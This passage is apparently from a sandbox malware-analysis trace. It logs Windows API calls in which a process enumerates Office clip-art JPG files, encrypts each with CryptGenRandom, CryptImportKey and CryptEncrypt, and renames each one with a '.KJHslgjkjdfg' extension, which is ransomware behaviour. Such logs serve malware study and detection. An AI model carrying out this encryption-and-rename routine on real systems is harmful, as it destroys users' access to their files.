"c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.615] GetProcessHeap () returned 0x2a0000 [0183.615] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.615] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.616] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.616] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0183.618] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.618] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.618] GetProcessHeap () returned 0x2a0000 [0183.618] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.618] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.618] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.618] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.618] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.618] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.619] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.619] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.619] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.619] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.619] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.619] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.619] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2026, lpOverlapped=0x0) returned 1 [0183.620] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2030, dwBufLen=0x2030 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2030) returned 1 [0183.620] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.620] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2030, lpOverlapped=0x0) returned 1 [0183.620] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.620] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.621] SetEndOfFile (hFile=0x114) returned 1 [0183.623] GetProcessHeap () returned 0x2a0000 [0183.624] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.624] GetProcessHeap () returned 0x2a0000 [0183.624] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.624] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg.kjhslgjkjdfg")) returned 1 [0183.625] CloseHandle (hObject=0x114) returned 1 [0183.625] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3df7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341653.JPG", cAlternateFileName="")) returned 1 [0183.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.626] GetProcessHeap () returned 0x2a0000 [0183.626] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.626] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.626] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.626] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0183.629] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.629] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.629] GetProcessHeap () returned 0x2a0000 [0183.629] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.629] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.629] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.629] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.629] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.629] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.629] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.629] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.630] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.630] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.630] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.630] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3df7, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3df7, lpOverlapped=0x0) returned 1 [0183.631] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3e00, dwBufLen=0x3e00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3e00) returned 1 [0183.631] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.631] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3e00, lpOverlapped=0x0) returned 1 [0183.631] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.631] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.631] SetEndOfFile (hFile=0x114) returned 1 [0183.634] GetProcessHeap () returned 0x2a0000 [0183.634] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.634] GetProcessHeap () returned 0x2a0000 [0183.634] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.634] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg.kjhslgjkjdfg")) returned 1 [0183.636] CloseHandle (hObject=0x114) returned 1 [0183.636] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341654.JPG", cAlternateFileName="")) returned 1 [0183.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.637] GetProcessHeap () returned 0x2a0000 [0183.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.637] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.637] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.637] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0183.641] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.641] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.641] GetProcessHeap () returned 0x2a0000 [0183.641] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.641] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.641] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.641] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.641] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.641] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.641] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.642] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.642] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.642] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.642] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.642] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.642] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3d7f, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3d7f, lpOverlapped=0x0) returned 1 [0183.643] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d80) returned 1 [0183.643] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.643] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d80, lpOverlapped=0x0) returned 1 [0183.643] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.643] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.643] SetEndOfFile (hFile=0x114) returned 1 [0183.646] GetProcessHeap () returned 0x2a0000 [0183.646] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.646] GetProcessHeap () returned 0x2a0000 [0183.646] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.646] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg.kjhslgjkjdfg")) returned 1 [0183.648] CloseHandle (hObject=0x114) returned 1 [0183.648] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ec6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341738.JPG", cAlternateFileName="")) returned 1 [0183.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.649] GetProcessHeap () returned 0x2a0000 [0183.649] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.649] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.649] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.649] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0183.653] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.654] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.654] GetProcessHeap () returned 0x2a0000 [0183.654] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.654] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.654] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.654] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.654] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.654] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.654] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.654] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.654] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.655] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.655] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.655] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.655] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4ec6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4ec6, lpOverlapped=0x0) returned 1 [0183.656] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4ed0, dwBufLen=0x4ed0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4ed0) returned 1 [0183.656] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.656] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4ed0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4ed0, lpOverlapped=0x0) returned 1 [0183.656] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.656] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4fa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.656] SetEndOfFile (hFile=0x114) returned 1 [0183.659] GetProcessHeap () returned 0x2a0000 [0183.659] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.659] GetProcessHeap () returned 0x2a0000 [0183.659] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.659] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg.kjhslgjkjdfg")) returned 1 [0183.661] CloseHandle (hObject=0x114) returned 1 [0183.661] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341742.JPG", cAlternateFileName="")) returned 1 [0183.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.664] GetProcessHeap () returned 0x2a0000 [0183.664] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.664] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.664] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0183.666] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.666] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.667] GetProcessHeap () returned 0x2a0000 [0183.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.667] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, 